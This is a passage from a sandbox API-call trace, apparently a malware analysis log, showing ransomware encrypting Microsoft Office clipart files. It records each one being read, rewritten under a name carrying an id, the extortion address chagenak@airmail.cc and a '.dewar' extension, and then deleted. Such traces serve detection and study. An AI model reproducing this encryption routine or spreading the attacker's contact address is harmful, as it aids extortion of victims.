office\\clipart\\pub60cor\\ag00167_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0284.706] ReadFile (in: hFile=0x140, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x131e, lpOverlapped=0x0) returned 1 [0284.710] WriteFile (in: hFile=0x1f8, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x1320, lpOverlapped=0x0) returned 1 [0284.713] WriteFile (in: hFile=0x1f8, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0284.714] CloseHandle (hObject=0x140) returned 1 [0284.714] CloseHandle (hObject=0x1f8) returned 1 [0284.718] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0 [0284.718] SetEvent (hEvent=0x118) returned 1 [0284.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0284.720] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3966) returned 1 [0284.720] CloseHandle (hObject=0x1f8) returned 1 [0284.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0284.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0284.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0284.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0284.721] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0284.721] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0284.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0284.722] ReadFile (in: hFile=0x1f8, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0xf7e, lpOverlapped=0x0) returned 1 [0284.727] WriteFile (in: hFile=0x140, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf80, lpOverlapped=0x0) returned 1 [0284.731] WriteFile (in: hFile=0x140, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0284.731] CloseHandle (hObject=0x1f8) returned 1 [0284.731] CloseHandle (hObject=0x140) returned 1 [0284.733] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0 [0284.733] SetEvent (hEvent=0x118) returned 1 [0284.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0284.734] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3378) returned 1 [0284.734] CloseHandle (hObject=0x140) returned 1 [0284.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0284.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0284.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0284.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0284.736] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0284.736] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0284.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0284.737] ReadFile (in: hFile=0x140, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0xd32, lpOverlapped=0x0) returned 1 [0284.912] WriteFile (in: hFile=0x1f8, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xd40, lpOverlapped=0x0) returned 1 [0284.915] WriteFile (in: hFile=0x1f8, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0284.915] CloseHandle (hObject=0x140) returned 1 [0284.916] CloseHandle (hObject=0x1f8) returned 1 [0285.324] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0 [0285.324] SetEvent (hEvent=0x118) returned 1 [0285.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0285.327] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3120) returned 1 [0285.327] CloseHandle (hObject=0x128) returned 1 [0285.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0285.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0285.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0285.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0285.328] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0285.329] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0285.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b0 [0285.330] ReadFile (in: hFile=0x128, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0xc30, lpOverlapped=0x0) returned 1 [0285.644] WriteFile (in: hFile=0x1b0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xc40, lpOverlapped=0x0) returned 1 [0285.647] WriteFile (in: hFile=0x1b0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0285.647] CloseHandle (hObject=0x128) returned 1 [0285.648] CloseHandle (hObject=0x1b0) returned 1 [0285.650] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0 [0285.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0285.960] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4734) returned 1 [0285.960] CloseHandle (hObject=0x1b0) returned 1 [0285.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0285.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0285.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0285.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0285.962] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0285.962] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0285.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x200 [0286.184] ReadFile (in: hFile=0x1b0, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x127e, lpOverlapped=0x0) returned 1 [0286.189] WriteFile (in: hFile=0x200, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x1280, lpOverlapped=0x0) returned 1 [0286.192] WriteFile (in: hFile=0x200, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0286.193] CloseHandle (hObject=0x1b0) returned 1 [0286.193] CloseHandle (hObject=0x200) returned 1 [0286.194] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0 [0286.195] SetEvent (hEvent=0x118) returned 1 [0286.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0286.198] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5684) returned 1 [0286.198] CloseHandle (hObject=0x200) returned 1 [0286.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0286.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0286.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0286.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0286.199] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0286.199] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0286.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b0 [0286.200] ReadFile (in: hFile=0x200, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x1634, lpOverlapped=0x0) returned 1 [0286.204] WriteFile (in: hFile=0x1b0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x1640, lpOverlapped=0x0) returned 1 [0286.208] WriteFile (in: hFile=0x1b0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0286.208] CloseHandle (hObject=0x200) returned 1 [0286.210] CloseHandle (hObject=0x1b0) returned 1 [0286.211] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0 [0286.212] SetEvent (hEvent=0x118) returned 1 [0286.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0286.213] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=20578) returned 1 [0286.213] CloseHandle (hObject=0x1b0) returned 1 [0286.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0286.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0286.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0286.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0286.214] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0286.214] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0286.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x200 [0286.217] ReadFile (in: hFile=0x1b0, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x5062, lpOverlapped=0x0) returned 1 [0286.492] WriteFile (in: hFile=0x200, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x5070, lpOverlapped=0x0) returned 1 [0286.496] WriteFile (in: hFile=0x200, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0286.497] CloseHandle (hObject=0x1b0) returned 1 [0286.497] CloseHandle (hObject=0x200) returned 1 [0286.498] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0 [0286.499] SetEvent (hEvent=0x118) returned 1 [0286.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0286.500] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=14428) returned 1 [0286.501] CloseHandle (hObject=0x200) returned 1 [0286.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0286.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0286.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0286.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0286.502] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0286.502] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0286.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0286.544] ReadFile (in: hFile=0x200, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x385c, lpOverlapped=0x0) returned 1 [0286.551] WriteFile (in: hFile=0x1f8, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x3860, lpOverlapped=0x0) returned 1 [0286.555] WriteFile (in: hFile=0x1f8, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0286.555] CloseHandle (hObject=0x200) returned 1 [0286.555] CloseHandle (hObject=0x1f8) returned 1 [0286.557] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: 